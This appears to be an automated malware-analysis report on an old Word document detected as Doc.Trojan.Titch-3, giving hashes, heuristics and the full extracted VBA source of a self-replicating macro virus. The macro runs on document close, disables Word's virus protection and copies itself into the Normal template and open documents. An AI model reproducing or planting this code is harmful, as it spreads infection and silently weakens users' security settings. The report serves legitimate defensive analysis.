Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b503bb50607001d2…

MALICIOUS

Office (OLE)

42.0 KB Created: 2002-03-28 18:03:00 Authoring application: Microsoft Word 8.0 First seen: 2020-09-04
MD5: 6d8d6ce79c0ee5bd91acd76ae15e8555 SHA-1: 57065d07d21ffafcbe5326ddd8c8d60c98350372 SHA-256: b503bb50607001d2755097267ea39863dc3c9b36ad2c27abcc191fd9a3a29af0
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a VBA macro. The AutoClose macro attempts to copy itself to the Normal template and the active document, likely to establish persistence or facilitate further infection. The macro also attempts to export itself to a temporary file 'c:\arbind2000.tmp' before importing it into the active document.

Heuristics 4

  • ClamAV: Doc.Trojan.Titch-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Titch-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1616 bytes
SHA-256: 9c832d4050576510e6347e2909cad0a041843c3a3e127ff1dbe38d564493dabc
Detection
ClamAV: Doc.Trojan.Titch-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "Arbind2000"
Sub AutoClose()
'arbind2000
'An experiment in Macro programming ;)
'Minimum stealth, no encryption, No payload, No mail replication
'If you had looked you could have found and deleted it but..
'You probably never knew it was here!
  On Error Resume Next
  Application.Options.VirusProtection = False
  Application.Options.SaveNormalPrompt = False
  Application.Options.ConfirmConversions = False
  Dim x As Integer
  Dim found As Boolean
  found = False
  x = 1
  For x = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'arbind2000" Then found = True
  Next x
  If Not found Then
    Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "arbind2000", wdOrganizerObjectProjectItems
  End If
  If NormalTemplate.Saved = False Then NormalTemplate.Save
  
  found = False
  x = 1
  For x = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'arbind2000" Then found = True
  Next x
  If Not found Then
    NormalTemplate.VBProject.VBComponents("arbind2000").Export ("c:\arbind2000.tmp")
    ActiveDocument.VBProject.VBComponents.Import ("c:\arbind2000.tmp")
    Kill ("c:\arbind2000.tmp")
  End If
End Sub

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